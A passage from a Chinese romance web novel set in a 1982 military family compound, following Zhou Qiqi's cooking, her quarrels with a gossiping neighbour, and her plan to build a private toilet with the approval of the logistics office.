邱春芳察觉到周柒柒的目光,脸上闪过一丝不自然,随手扯下一件衣服,装作若无其事的样子,顺着梯子心满意足地爬了下去。 他们一家也都陆续起来了。 赵毅睡眼惺忪,迷迷糊糊的,鼻子使劲往隔壁院子里嗅,嘴里嘟囔着。 邱春芳一听这话,心里老大不乐意了,拿起手里的衣服,轻轻抽了赵毅一下,随后打开饭罩篱,一脸得意地说。 “往哪儿闻呢!这香味是咱家的!我今儿一大早烙了葱花鸡蛋饼,香着呢!” 昨晚她和赵毅大吵了一架,闻着隔壁飘来的卤肉香味,越想越气。 她觉得这个周柒柒,处处和她作对,就连做个饭都要压她一头,实在太过分了。 不就是做了个卤肉嘛,谁还不会做饭似的! 于是,今天一大早,她就憋着一股劲儿,又是和面又是揉馅,铁了心要在做饭这事儿上把周柒柒比下去。 “可以啊,媳妇!没想到你还有这手艺呢!” 赵毅馋得不行,看着葱花鸡蛋饼,伸手就要去拿。 邱春芳脸上露出得意的神色,拿起筷子,轻轻打了一下赵毅的手。 嘴巴朝着隔壁努了努,说道。 “先别急着吃,你先去洗洗手,然后拿两个葱油饼,给沈团长和舟舟送过去。” “这……” 赵毅一听,心里有些犹豫。 邱春芳立马换上一副关怀邻居的模样,振振有词地说。 “都是邻里邻居的,低头不见抬头见。我刚才瞧见隔壁早上就熬了锅白粥,就这点吃的,孩子们上学、大人上班,一早上下来,肯定顶不住,咱得帮帮人家。” “行吧。” 赵毅这人,心思单纯,也没多想,就听了邱春芳的话。 他洗漱了一番,换了身干净衣服,端着两个葱油饼,就朝着隔壁院子走去。 刚到隔壁院门口,正好碰上沈淮川从外头回来,刚开了自家院门。 俩人平时在部队关系挺不错的,赵毅正想开口,却听到里头传来一句。 “回来了?正好,咱们早上吃千层肉饼,刚烙好,我切一下!” 周柒柒打开灶房门,伸出个脑袋喊了一句。 赵毅眼睛尖,顺着声音往门缝里一瞧,好家伙,只见一个侧身,金黄酥脆的肉饼被刀一切,发出“咔嚓”一声清脆的声响。 再看那肉饼,层层叠叠的肉馅饱满得都快溢出来了,鲜嫩的肉汁顺着刀锋缓缓流淌下来,一股浓烈醇厚的香味也扑鼻而来,瞬间钻进了赵毅的鼻腔。 赵毅看得眼睛都直了,口水在嘴里直打转,差点就流出来了。 他还想再多瞧几眼,可眼前突然出现沈淮川那张冷峻得如同冰块一般的脸。 他语气冷若冰霜,问道,“赵营长,有事吗?” “没……没有,只是路过……路过……” 赵毅赶忙摇了摇头,像只斗败的公鸡,灰溜溜地端着葱花饼回了家。 邱春芳见赵毅这副模样,双手叉腰,讥笑道:“咋了?那娘们是不是气急败坏了,不肯收咱的饼啊?” “怎么了?那娘们气急败坏了,不肯收?” 赵毅气得满脸通红,“啪”地一声,将碗重重摔在桌子上,脸色铁青,怒吼道。 “你闭嘴吧!出的什么馊主意!把我的脸都丢尽了!人家家里吃的是千层肉饼,那么香,那么诱人,怎么可能看得上你这葱花饼?” “什么?” 邱春芳一开始还不太相信,可很快,隔壁那浓郁的肉香就顺着墙飘了过来。 她看着手里没多少油星、普普通通的葱花饼,瞬间也没了食欲。 而隔壁院子里,沈淮川看着桌上层层叠叠的肉饼,顿时食欲全开,眼睛都冒光了。 “刚才门口是谁啊?看着也穿着军装,是你战友吗?怎么不请人进来坐坐,认识认识呢?” 周柒柒一边把筷子递给沈淮川,一边随口问道。 她还以为是有谁找沈淮川有事呢,想着正好趁这个机会,熟悉一下沈淮川的朋友。 沈淮川眸光瞬间一冷,淡淡地说:“隔壁的,一个小营长。” “那算了,下次吧。” 周柒柒吐了吐舌,“你们先吃,我去给舟舟冲一杯麦乳精去。” 家里没有她这个婶子的时候,都是沈淮川从部队食堂打饭回来。 饭菜估计不怎么对小孩子胃口。 昨天她牵舟舟手的时候,发现孩子只有脸上有点婴儿肥,身体挺瘦弱的,也需要补补营养。 那麦乳精她喝不了,放在那儿也是浪费,倒不如给舟舟喝,让孩子好好补补。 “我去吧,你先吃。” 周柒柒刚站起身,就被沈淮川轻轻按了下去。 嘿,这家伙,还挺有眼力见儿的嘛!周柒柒心里一乐,也没拒绝,眼梢不自觉地带上了几分笑意。 她拿起筷子,给舟舟夹了一块肉饼,又贴心地替她吹了吹粥,怕烫着孩子。 舟舟依旧一声不吭,脸上也没什么表情,可她的眼神在周柒柒脸上停留了两秒,还眨了眨眼睛。 周柒柒将勺子地给她,微微一笑,“你是在说谢谢吧?不客气!” 舟舟低着头,小口小口地喝着粥,长长的睫毛忽闪忽闪的,也不知道小脑袋瓜里在想些什么。 就在这时,沈淮川端着两个玻璃杯子回来了。 一个杯子里装着冷白色的麦乳精,他轻轻放在舟舟面前; 另一个杯子里的麦乳精是暖白色的,还冒着腾腾热气,他小心翼翼地放在周柒柒跟前。 “这是什么?” 周柒柒瞪大了眼睛。 第16章 秦石头 “羊奶。” 沈淮川夹起一块色泽诱人的肉饼,轻描淡写地回应道。 面前这杯羊奶,正袅袅升腾着热气,奶白色的液体表面泛着珍珠般柔和的光泽,浓稠莹润,凑近一闻,馥郁的奶香瞬间弥漫开来,萦绕在鼻尖,一看便知是刚从羊身上挤下来的新鲜羊奶。 周柒柒满心好奇,不禁问道:“你从哪儿弄来的啊?” “隔壁村老羊倌家。” 沈淮川咽下口中的肉饼,不紧不慢地说道。 原来他一大早出去,是给自己找羊奶去了。 周柒柒心头猛地一颤,她昨天不过随口提了一句而已。 作为一个重组家庭里的小透明,她活了二十几年,还从来没有人这么把她放在心上过。 周柒柒感觉自己心里冒出个泡泡,这泡泡越涨越大,逐渐盈满她的心,又酸又涨的,有点想哭。 沈淮川敏锐的感觉到她情绪的变化,不禁抬起头,目光直直地看向她。 周柒柒最怕被人看到自己脆弱的一面,赶忙咬了咬唇,红着眼睛假装嫌弃。 “会不会膻啊?我最怕膻味了,要是膻的话,我可一口都不喝哦。” “不会。” 沈淮川的语气十足的肯定,周柒柒撇了撇嘴,故作勉强地说。 “好吧,那我尝尝。” 她将信将疑地轻抿了一口,本以为会迎来难以忍受的异味,可舌尖触碰到的,却是清冽的甘甜。 羊奶入口细腻丝滑,比起牛奶,更多了一股独特的脂膜感,口感更为醇厚。 咽下去后,回味中带着一丝淡淡的杏仁味,微微的苦与咸交织,却又莫名地清新爽口。 “好喝。” 周柒柒瞬间眼睛都眯成了弯弯的月牙,红润的唇上挂着一层奶白色的奶渍,活脱脱像一只刚偷了腥的奶呼呼的小猫。 沈淮川望着她这副模样,只觉自己的心好似被一只无形的猫爪子轻轻挠了一下。 酥酥麻麻、痒痒的,连带着声音也不自觉地柔和了许多。 “那以后就喝这个补充营养,每天都给你弄新鲜的。” 这一顿早餐,一家人吃得温馨又满足。 饭后,沈淮川十分自觉地收拾起碗筷,走向厨房洗碗。 舟舟则回到房间,背起小书包,准备去上学。 周柒柒瞧见舟舟那略显凌乱的头发,伸手轻轻将她按在凳子上,动作轻柔地重新给她扎了个整齐利落的双马尾辫子,那辫子扎得紧实又漂亮,发丝顺滑,俏皮的发尾微微翘起。 扎好后,周柒柒才微笑着松开手,放舟舟出门。 以往,舟舟都是自己绑头发,可毕竟只是个六岁的孩子,小手不太灵活,扎出的头发总是乱糟糟的,显得有些邋遢。 这一切,沈淮川都默默看在眼里。 洗完碗出来,他神色认真,走到周柒柒面前,郑重其事地说了一声:“谢谢。” 毕竟,之前他自己说过,舟舟由他负责照顾,周柒柒本没有义务操心这些琐事。 周柒柒听了,佯装不在意地撇了撇嘴,说道。 “我只是看着实在不顺眼,顺手帮忙罢了。” 话一出口,她又怕气氛尴尬,赶忙转移话题。 “厕所和澡堂子的事儿,你可抓紧时间去申请啊!” 沈淮川点了点头,让她在家等信,就去部队了。 一上午,周柒柒把家里里里外外打扫了一下,又给舟舟的小房间也简单布置了一下,换上个了全新的床单被罩,同样插上了后院开着的小野花。 快中午的时候,她做了点手擀面,炒的西红柿鸡蛋卤子,搭配了菠菜拌粉丝,还特意做了点糖霜花生,给舟舟甜甜嘴巴。 不过到了中午,沈淮川没有回来。 下午两点钟,她和舟舟睡午觉起来,送舟舟出门上学,正准备关门的时候,一个小伙子忽然蹿了个脑袋到门缝里,喊了一句“嫂子”。 他看着也就十七八岁的样子,自我介绍说叫秦磊,是沈淮川的勤务兵。 是来带周柒柒去后勤部的。 沈淮川申请的项目已经批下来了,不过有些项目需要周柒柒过去确认一下。 他今天带领一团一营的精兵,和三团一营的人比赛野外拉练,申请完他就带兵走了,让秦磊过来通知。 周柒柒赶忙把人请了进来,给他倒了杯水。 他咕噜咕噜,一口气全给喝完了,然后赶忙开口道。 “终于见到嫂子了!我就说,嫂子不可能是他们说的狐狸精样儿!” 他昨天晚上刚回来,就听到军营里议论纷纷的,都说沈阎王结婚了,各种传言沸沸扬扬的,可给这小子急坏了,到处吃瓜。 周柒柒头上瞬间多了三条黑线,好家伙,邱嫂子的烂壤瓜都传到兵营里去了。 不过她一向不在意别人的看法,反而饶有兴致的看向一脸兴奋的秦磊。 “哦,那你说说,嫂子我不像狐狸精,像什么?” 秦磊满脸的真诚,“像仙女!” 这话给周柒柒逗乐了,这秦磊,看着傻乎乎的,挺实诚一个人,说话这么讨人喜欢呢,她正准备调侃他几句。 就听到他肚子咕咕叫了起来,声音还不小。 “中午没吃饭?” 周柒柒关切地问道。 秦磊红着脸,不好意思地挠了挠头,解释道。 “我大概中午一点就到了,不过怕打扰嫂子休息,就没敢敲门,一直在外头站岗等了一个小时。” 周柒柒听了,心里不禁有些感动,这孩子看着实诚,做事还这么细心体贴。 她赶忙说道,“你先坐会儿,我这就去给你弄点饭吃,可不能饿着你。” 秦磊赶忙凑过来,一脸的期待。 “是炖肉吗?他们说嫂子炖肉可香了!” 看到周柒柒端出来的面卤子,也忍不住满脸失望。 “啊?不是吗?” 那脸变的,跟川剧似的,喜怒哀乐全都放在脸上,心里有什么想法,全一股脑儿地往外说,藏都藏不住。 周柒柒都被他逗乐了,赶忙安慰道。 “没办法,家里没冰箱,肉不好存放,不敢多买,今天就先凑合吃点。明天嫂子一定给你炖肉吃,管够!” 秦磊一开始还有些闷闷不乐,可当第一口面条入口,他的眼睛瞬间又变成了星星眼。 嘴里含糊不清地嘟囔着:“嫂子,这面太好吃了!” 周柒柒做的手擀面里,特意加了鸡蛋,口感爽滑又劲道,可比一般的面条好吃多了。 秦磊跟饿了三天三夜似的,一口气吃了三大碗,连周柒柒原本准备留着下午炒着吃的面条也被他吃得一干二净。 吃完面条,他把盘子都舔干净了。 “嫂子,我改主意了,我感觉你不像仙女,像田螺姑娘!” 把周柒柒又给逗乐了。 她实在难以想象,身边有这么个开心果,沈淮川怎么还一直冷着张脸。 令人费解啊。 吃完饭,周柒柒跟着秦磊一起去了部队。 从军属区一路去军区办公室,路上有好多兵哥哥路过,都对俩人侧目不已。 秦磊是个小话痨,军营里十个人有九个都认识他,知道他是冷面阎王沈淮川的勤务兵。 跟在他身边的周柒柒,这个生面孔,自然就被大家猜到是沈阎王的新媳妇了。 众人都好奇得很,纷纷围在远处,伸长了脖子偷看,不过目光不像那群嫂子那样,反而挺友善的。 秦磊在一边解说。 “自从您来了,团长变温柔了,我们训练都轻松了,大家可感谢您了!” “是吗?” 周柒柒还是第一次面对这么多人的目光,不过她不怕生,大大方方的挥手致意。 这一举动,倒把那些偷看的兵哥哥们弄得更加害羞了,一个个红着脸,像受惊的小兔子,飞奔到更远的地方,继续偷偷观望。 很快到了后勤处,处长是一个和蔼的大叔,姓林,态度十分客气,脸上挂着和善的笑容。 “淮川的申请,我看过了,盖是可以盖,不过有一个问题。” 对待不同的人,周柒柒态度不同,这会儿,就十分谦逊有礼,脸上挂着笑容,态度十分温和。 “什么问题,您说。” 第17章 遇到问题了 “排污的问题。” 林处长皱了皱眉。 军属区不比农村,地方有限,空间局促,是不能盖那种带化粪池的传统旱厕的。 只能盖现在城里流行的冲水厕所,这就意味着要挖一条管道,连接到军属区的主管网去。 这里面,就涉及到了两方面的问题。 “比较让人头疼的,就是费用问题。” 林处长拿出一张笔迹有点旧,但写的整整齐齐的草稿纸给周柒柒看。 “我算过了,厕所的材料费、人工费,差不多要一百五十块,这本身就不是一个小数目了。” “再者,咱们军属区的土壤情况特殊,底下的管道不能用价格便宜的陶土管,否则极易破裂损坏,只能用更加坚固耐用的铸铁管。 一根铸铁管就得十来块钱,从你家到主管网大概有一百米的距离,算下来差不多要三十根,这又是三百块的开销。” “把这些费用加起来,可就是四百五十块了!” 林处长的语气中带着一丝感慨。 这样的花费,对于普通家庭而言,可不是一笔轻易能拿得出来的钱。 周柒柒看到这个数目,也有点咂舌。 不过,她脑海中瞬间浮现出邱春芳在厕所里那副令人作呕的模样,便没有丝毫犹豫。 坚定地摇了摇头,说道:“这个不是问题,另外一个问题是什么?” 四百五十块,相当于沈淮川三个月的工资,贵是贵了点。 但她们家存折里存有三千块,咬咬牙,还是能够承担得起的。 而且,厕所可是关系到一家人,尤其是她自己生活质量的关键设施。 在周柒柒看来,这样的花费,属于实实在在花在刀刃上的刚性需求。 她这干脆利落的态度,让林处长神色微微一怔,闪过一丝复杂的意味。 不过,他很快就调整过来,脸上重新挂上了和煦的笑容,说道。 “这个都不算什么的话,另外一个,相对来说就是小问题了。” 林处长随手从旁边拿起一张军属区的详细分布图,手指精准地指向周柒柒家的位置,又沿着一条虚拟的路线,指向排污主管道的位置,解释道。 “这管道不能在大路上开挖,不然会影响军属区的正常通行和美观。” “只能沿着这几家的后墙,一路铺设过去。” “所以,你得提前跟这些住户沟通一下,取得他们的同意。” “只要大家都签了字,我马上就能给你审批,明天一大早施工队就能开工!” 在林处长看来,大家都是军嫂,相互之间帮衬一下,不过是一句话的事儿,这个问题根本就算不上什么难题。 但周柒柒一看到他手指所指的方向,原本挺直的脊背瞬间就像泄了气的皮球,蔫了下去。 “不会吧,怎么这么倒霉...” 她忍不住低声嘟囔道。 从她们家到排污管道,要经过的第一户人家,竟然就是邱春芳家! 就凭她和邱春芳之间的矛盾,邱春芳绝对不可能轻易同意帮她这个忙。 那双水汪汪的大眼睛忽闪忽闪的,在布局图上快速转动着,指向了右边朱莹莹家的方向,带着一丝期待问道。 “能不能不从左边走管道,从右边绕一下呢?我看右边也有一条主管道。” 林处长皱眉摇了摇头。 “不太好操作。右边地势较高,污水无法依靠重力自然通过,得在你家院子里安装提升泵和止回阀,这又得多出一笔费用。” “而且这么一绕,还得多经过好几户人家,管道的长度增加了,成本也得跟着往上涨。” 林处长还是建议周柒柒去和左边的住户沟通一下。 周柒柒心里明白林处长是出于好心,给出了最合理的建议。 但她还是不死心,追问道:“如果从右边绕,连接另外一条管道,大概得加多少钱?” “这个数。” 林处长伸出三根手指晃了晃。 周柒柒心里一沉,又得加三百? 这前前后后算下来,单单厕所一项就得七百五十块,要是再加上洗澡间的费用,那可就得一千块了! 就算周柒柒是享乐主义者,面对如此高昂的费用,也不得不犹豫了。 回去路上,秦磊看出周柒柒情绪低落,忙开口关心。 “嫂子,你怎么了?” 周柒柒也不是个扭捏的人,便把自己和邱春芳之间的矛盾,大致跟秦磊讲了一遍。 “火车上的事儿,是有一点小摩擦,大家都扯平了,但是晚上到了家属院之后,她还针对我,也不知道为什么。” 她也不关心。 但是有人关心。 她刚一说完,秦磊就急忙开口,“我知道为什么!” 不等周柒柒开口询问,秦磊就迫不及待地一股脑儿把事情说了出来。 上个月,他去公用电话点给家里打电话的时候,前面就坐着邱春芳。 秦磊无意间听到她说了沈淮川的名字,出于好奇,便多留意听了一会儿。 对面的人是林瑶她妈,她拜托邱春芳撮合一下沈淮川和林瑶的婚事。 两人从小就定了娃娃亲,可到现在还没结婚,林母心里十分着急,再加上外头的闲言碎语也不少,她便想方设法地给沈淮川施加压力。 “我听得真真切切的,林阿姨说,如果事儿成了的话,给邱嫂子两百块钱辛苦费!” 周柒柒恍然大悟。 好家伙,原来是这么回事。 邱春芳家里有那么多孩子,日子过的紧巴巴的。 自己这一来,直接断了人家财路,不恨她才怪呢! 不过林母估计不知道,她这完全花的是冤枉钱。 俩人一直不结婚,不是沈淮川不愿意娶林瑶,而是林瑶另外有了“如意郎君”。 这都过去好几天了,估计那俩“狗男女”已经正大光明在一起了。 两人一路回到小院,她在那儿胡思乱想,秦磊却还在想着盖厕所的事儿。 “嫂子,你为难的话,我替你说去,邱嫂子平时对我态度还行,我去说一声,应该没什么问题。” 周柒柒耸了耸肩,回道,“你乐意去,你就去一趟呗。” 不过她估计,邱春芳是不会答应的,这一趟肯定是白跑。 果不其然,没过几分钟,秦磊就哭丧着脸回来了。 “邱嫂子说,在她家后墙挖管道,算是占了她家的地,对她家影响很大,绝对不行,除非...” 周柒柒见不得有人说话支支吾吾的,皱眉道,“除非什么...直接说!” 秦磊挠了挠头,“除非你给她掏买地的钱...” “她要多少钱?” 周柒柒挑了挑眉,寻思着只要不太过分,给也就给了。 秦磊伸出两根手指,她随即猜测道。 “两块?” “二十?” 二十已经很多了,但却没想到,都被秦磊一一否认,说道。 “二百!” “邱嫂子说,还要您亲自过去,好好跟她说,只要您态度好,那就还有的商量...” 这个邱春芳,是想让她亲自过去求她是吧? 给两百,这不是故意恶心人嘛! 别说两百了,二十她都不想给! 不,两块都便宜她了! 她寻思着,就不该让秦磊去这一趟,白受一趟气。 没想到,更让她气愤的事儿还在后面。 在家忙活了一阵儿后,她实在憋不住了,去了茅房一趟。 刚到门口,就听到里头传来一阵议论声。 “真的啊?她要在家盖茅房?” “咋就这么金贵呢,乡下丫头,还把自己当公主呢?” “可不,她让沈团长勤务兵,秦石头来求的我,说是要从我家通管道!” “这得话不老少钱吧?沈团长这都能答应?被狐狸精掏了心了?” “啧啧啧,这家属院里单独盖个厕所,都够娶两个农村媳妇了吧!” “真矫情!不是个安分的...” ...... 前面几句,一听就是邱春芳在那儿添油加醋,中间还时不时夹杂着两三个陌生军嫂的嗤笑声。 周柒柒心里清楚,把盖厕所这事儿告诉邱春芳,她肯定会第一时间到处散播,故意抹黑自己。 只是没想到,让她给听了个正着。 她眸子一转,清了清嗓子,冲着里头喊了两句。 “这都谁家嫂子啊,这么爱议论别人家的闲事呢?” “是不是太闲了,路过个掏粪车,都想掏个勺子尝尝咸淡?” “哎呀,我给忘了,不用找掏粪车,咱们脚下不就有热乎的嘛?趁热带回去加个菜呗!稠的当菜,稀的当汤!没有的看看周围,互相帮助一下!” 第18章 我求你奶奶个腿儿~ 这一嗓子清脆响亮,声音刚落,茅房里头议论的声音瞬间就没了。 没过几秒钟,里面就传出来了干呕声。 “呕...” 这声音在狭小的空间里回荡,一声接着一声。 虽说大家平日里早已习惯了使用这公共厕所,可经周柒柒这么绘声绘色地一描述,那画面感瞬间在众人脑海中清晰浮现,令人不由自主地展开联想。 这一联想,可不就想吐了嘛! 而且不光想自己的,还想别人的,这茅房怎么待怎么尴尬。 没过一分钟,就有几个军嫂匆匆从茅房里逃了出来。 她们眼神闪躲,看到门口站着的周柒柒,都像是做贼心虚一般,赶忙伸手遮住自己的脸,匆匆逃离了现场。 唯有邱春芳,脸皮厚得像城墙拐弯,一点儿也没被周柒柒的话影响。 她大摇大摆地从周柒柒身边路过,还故意叉着腰,斜着眼睛狠狠地瞪了周柒柒一眼。 随后“呸”的一声,淬了一口吐沫在地上,嘴里小声嘟囔着。 “小丫头片子,就会牙尖嘴利地逞强,我倒要看看,到时候你怎么来求我!” “我求你奶奶个腿儿~!” 周柒柒毫不示弱,立刻回怼了一句,同时白了邱春芳一眼。 她心情并未因此受到丝毫影响,毕竟跟这种人置气,纯粹是自寻烦恼。 这会儿茅房里没人了,周柒柒便优哉游哉地走了进去,舒舒服服地解决了个人问题,随后哼着小曲儿回家做饭去了。 回去的路上,居然看到一棵枝繁叶茂的野生花椒树,她眼睛一亮,顺手薅了一把嫩绿的花椒叶子。 刚从后勤处回来的时候,她就手脚麻利地和好了面,用湿布盖着,放在温暖的太阳地儿发酵。 这会儿回去掀开一看,面团发得恰到好处,又大又软乎。 她把切碎的花椒叶子均匀地揉进面团里,瞬间,厨房里弥漫起一股独特的清香。 揉匀后,她将面团切成一个个小巧的剂子,再把剂子竖起来,轻轻压扁,擀成圆圆的薄片,随后继续放回湿布下头,让它们二次发酵。 不一会儿,一个个柔软的油饼胚子就准备就绪了。 周柒柒之前上大学的时候,各自有了新家庭的父母,都不给她生活费。 她经常勤工俭学,早餐摊、小饭店什么的,都干过,所以会的挺多的。 等待的间隙,她泡了点红豆,熬了红豆稀饭。 还炒了点酸辣土豆丝,素炒胡萝卜,辣椒炒鸡蛋。 到了饭点,舟舟先到的家,洗完手就回屋子里了,乖乖一个人写起了作业,不吵也不闹。 周柒柒估摸着沈淮川也快到家了,便起了油锅,准备炸油饼。 煤炉的火气很旺,油锅里的油很快升了温,发出“滋滋”的声响。 一个个油饼胚子下锅,瞬间,金黄色的气泡在油饼周围翻滚跳跃,不多时,油饼就变成了诱人的金黄色,香气也随之弥漫开来,飘满了整个屋子。 沈淮川推开门,一股浓郁的饭香扑面而来,家里炊烟袅袅,温馨美好。 他心里一热,步伐都轻快了不少,一家人在饭桌上坐下,他忍不住开口问。 “怎么做了这个?” 周柒柒给沈淮川夹了一只油饼,眨巴着水汪汪的大眼睛,说道。 “秦石头说你爱吃,就做了呗,你尝尝好吃不!” 沈淮川接过油饼,却没有立刻品尝,而是敏锐地察觉到周柒柒微红的耳尖,轻声问道。 “是不是盖厕所的审批,出了什么问题?” 周柒柒没想到沈淮川一下子就猜到了,心里顿时有些发虚。 不过她还是强装镇定,说道:“先吃饭吧,吃完饭再说。” 别看下午在茅房里,她怼那些军嫂时气势汹汹,可真要在吃饭的时候谈论厕所的事儿,她也难免会产生一些不好的联想,影响食欲。 吃完饭,舟舟继续回房间写作业,沈淮川则主动收拾碗筷,去厨房洗碗。 周柒柒跟在他身后,凑到边上,把后勤林处长提到的两个问题一五一十地说了出来。 “我想从右边绕路,可是这一绕,就又要多花三百块钱,也就是说,总共要花一千块。” 解释完情况,她有些忐忑的咬了咬唇。 说完之后,她自己都觉得有些不好意思,毕竟在这个年代,一千块可不是一笔小数目。 大多数人一个月工资才六七十块钱,得十六个月不吃不喝,才能攒下这么多钱。 她心想,沈淮川肯定不会同意这么大一笔开销,又或者,会让她再试着跟邱春芳好好沟通沟通。 她都已经想好要怎么样据理力争了。 毕竟前面铺垫都做了那么多了。 但没想到,沈淮川听完,洗碗的动作都没有丝毫停顿,只是风轻云淡、随意地点了点头,说道:“随你。” 周柒柒愣了一下,然后眼睛瞬间就瞪大了,垫脚凑到沈淮川耳边,大声问道。 “真的?一千块哎,随我?” 她生怕沈淮川是没听清楚。 不过她忘了,自己这具身体缺乏锻炼,这一垫,脚脖子支撑不住身体,整个人歪歪扭扭的朝着沈淮川的后背撞了过去。 沈淮川反应极其迅速,眼疾手快地转过身来,伸出有力的胳膊稳稳地揽住她。 周柒柒整个人瞬间跌入沈淮川温暖的怀抱,闻着他身上散发出来的清新肥皂香,听着他那如清泉般悦耳的声音从头顶传来。 “真的,你小心点。” 周柒柒脑子里乱乱的,明明不在意那些嫂子说的话,可不知怎么,这会儿,却鬼使神差的扁起小嘴巴,叽里咕噜说了一句。 “你可得想好了,这钱都够娶两个媳妇了。” 这语气酸酸的,带着点莫名的委屈,但是听起来又娇又媚,听的沈淮川胸口发烫,胳膊不由搂紧了些,轻声开口道。 “我有媳妇了。” 咚...咚...咚...! 周柒柒忽然听到一阵断断续续的声音,她还以为是自己心跳太快,声音大得都能听见了,一瞬间,脸颊就像被火烧了一样,滚烫滚烫的。 下一秒,院门外传来一阵一句怯怯的声音。 “柒柒,是我,朱...朱莹莹,你在...在家吗?” 听到这声音,周柒柒赶忙像只小兔子一样,逃离了沈淮川的怀抱。 “是莹莹来了,正好跟她沟通一下。” 这事儿,她们小两口商量好了,但是还没问过朱莹莹呢。 她一大早就去敲门了,但是家里没人。 一问才知道,原来朱莹莹会好几门外文,平时的工作是给军区出版社翻译外文专业书籍和资料,今天去军区送资料去了。 这1982年,会好几门外文,关键是还能翻译专业资料,这可不简单,属于高级人才了。 没想到莹莹不显山不露水的,却这么厉害。 周柒柒夸了几句,见她又脸红了,也就不说了,而是拉她进屋,和她详细说了盖厕所的事儿。 其实朱莹莹过来找周柒柒,说的也是这件事。 她刚才回来的时候,听到外头有不少人在议论这事。 “柒柒,你真要盖厕所啊?要不算了,她们说的那么难听...” 周柒柒看着她这幅唯唯诺诺的样子,有些无奈。 “我之前跟你说什么来着,管他们说什么!日子是过给自己的,不用在意别人怎么想!” “好吧。” 朱莹莹虽然觉得周柒柒说的话有道理,但思想却也不是一时之间就能转变过来的,只答复说。 “这件事,我跟老王说一声,明天早上给你答复,应该没什么问题。” “行。” 周柒柒点了点头。 晚上,她和沈淮川坐在桌子面前,仔细算了算费用。 建材方面的费用是大头。 人工方面,可以只请工匠师傅。 剩下的挖沟之类的活儿,团里也有的是人,可以抽调五六个能干的来帮忙。 这样工期可以压缩不少。 林处长之前帮忙算的厕所成本是七百五十块,洗澡间两百五十块。 这样一番精打细算下来,可以省下一大笔,厕所的费用,比不绕路,也就多了一百五十块。 周柒柒心里一下子就平衡多了,觉得这个方案可行。 但她怎么也没想到,第二天早上,朱莹莹却又给了她一个大大的惊喜! 第19章 等着周柒柒来求她 “你们家也要盖厕所?” 周柒柒满脸惊讶。 朱莹莹有些不好意思的捏了捏衣角,点了点头,说道。 “嗯,管道和提升泵、止逆阀的钱,咱们两家平摊。” 周柒柒一脸的惊喜,管道的钱是大头,要是两家平摊的话,成本就更低了! 基本和不绕路算起来差不多! 她兴奋地捏住朱莹莹的肩膀,说道,“那太好了!你昨天怎么不说呢?” “我昨天没想盖的。” 朱莹莹小声解释道。 实际上,盖厕所这件事她不是没有想过。 只是她生性胆小怯懦,一直没敢说出口,而且一想到那高昂的费用,就心疼得厉害,实在舍不得花那么多钱。 昨晚也是她丈夫老王率先提出来的,在老王的劝说下,她才终于下定决心。 周柒柒看着朱莹莹红透了的脸蛋,忍不住调侃道。 “可以啊,莹莹,没想到你们家老王看着五大三粗、模样糙得很,心思还挺细腻,这么疼媳妇呢。” 朱莹莹咬了咬下唇,这一次,她没有像往常那样扭扭捏捏、遮遮掩掩,而是大大方方的坦承道。 “他对我,真的很好,在认识他之前,从来没有人这么全心全意地疼过我。” 说着说着,她眼泪都快下来。 周柒柒赶忙活跃气氛,她伸出胳膊,亲昵地揽住朱莹莹的肩膀。 轻轻吹了吹她脖间那一抹可疑的红晕,语气暧昧地打趣道。 “怎么疼的呀,详细说说?是不是这样啊?” “哎呀,你怎么也耍流氓!” 朱莹莹的眼泪一下子就憋了回去,佯装嗔怒,抬起手作势就要打周柒柒。 周柒柒一边假装求饶,一边机灵地闪躲,还故意伸手去挠朱莹莹的痒痒肉。 两个女人瞬间闹作一团,银铃般清脆的笑声此起彼伏,那欢快的笑声仿佛长了翅膀,飘飘悠悠地一直飘到了隔壁院子。 “笑笑笑,我看你们待会儿还笑得出来不??” 邱春芳正站在镜子前,精心地摆弄着自己的头发,嘴里恶狠狠地嘟囔着。 她身上穿着的,可是结婚时特意扯的好料子,这么多年,也就穿过那一次,今天为了在周柒柒面前“摆谱”,她特意找出来穿上了。 昨晚,邱春芳特意绕到后勤林处长家附近溜达了一圈,看似不经意地和林处长搭话,顺口问起了周柒柒家盖厕所的事儿。 林处长对谁都挺和善,直言周柒柒家若想盖厕所,按正常规划,必须得从邱春芳家后院走管道,要是绕路的话,得多花三百块钱。 三百块! 这可不是一笔小数目,在邱春芳眼里,周柒柒肯定舍不得花这笔冤枉钱,最终还得求到自己跟前来! 一想到周柒柒之前伶牙俐齿,让自己在一众军嫂面前丢了面子,最近来找她唠嗑的军嫂都少了好些,邱春芳心里就窝火。 这次,她打定主意,一定要好好挫挫周柒柒的锐气,让这丫头在自己面前好好赔礼道歉,然后她再故作大度地答应帮忙。 没错,邱春芳压根没打算拒绝周柒柒,实际上,她早就盘算好了,从她家走管道可以,但周柒柒必须得付钱。 当然,不可能是两百块钱,说两百,只是想出口气而已。 至少得给她一百块,实在不行,五十也行。 最终给多少,就要看周柒柒是怎么求她的了。 此时,对着镜子,邱春芳仿佛已经看到周柒柒满脸赔笑、低声下气求她的场景,忍不住得意地笑出了声。 她满心欢喜地把自家大门敞开,然后搬了个小板凳,坐在门口,手里拿着一把青菜,看似在认真择菜,实则眼睛时不时地瞟向隔壁,就等着周柒柒上门来求她。 然而,她这一等,就是一个上午。 太阳越升越高,阳光越来越炽热,可周柒柒的身影始终没有出现,赵毅却先一步回来了。 只见赵毅一脸晦气,脸上青一块紫一块,像是被人狠狠揍了一顿。 他一看到邱春芳,就忍不住抱怨起来。 “累死我了,这沈淮川简直就是个疯子!我寻思我也没招他没惹他啊,这两天不知道哪根筋搭错了,专门找我们团搞对抗演练,还指名道姓要跟我拼格斗,我哪儿是他的对手啊!” 说着,他一屁股坐在凳子上,伸手拍了拍空荡荡的桌子,没好气地喊道。 “中午做什么饭了?还不快端出来,饿死我了!” 邱春芳下意识地捏了捏衣服下摆,有些心虚地说道,“我还没做……” 这一上午,她心思全放在怎么刁难周柒柒上了,一边择菜,一边在脑海里设想各种让周柒柒难堪的场景,完全沉浸其中,连时间都忘了看。 “你什么意思?饭都不做?” 赵毅一听,顿时火冒三丈,大声嚷嚷起来。 早上邱春芳特意敞开的大门还没关,赵毅这一嚷嚷,声音瞬间传了出去,引得外面路过准备回家的人纷纷投来好奇的目光。 邱春芳脸上一阵白一阵红,立马不高兴了,反驳道,“你嚷嚷什么?” 两人你一言我一语,瞬间吵得不可开交。 “我累了一上午,回来连口热饭都吃不上,还不能说了?你还说隔壁周柒柒是狐狸精,我看你就是个懒猪婆!” 这次赵毅真的动了气,一边骂着,还一边伸手推了邱春芳一把。 这一次赵毅不惯着邱春芳了,说着还推搡了一把。 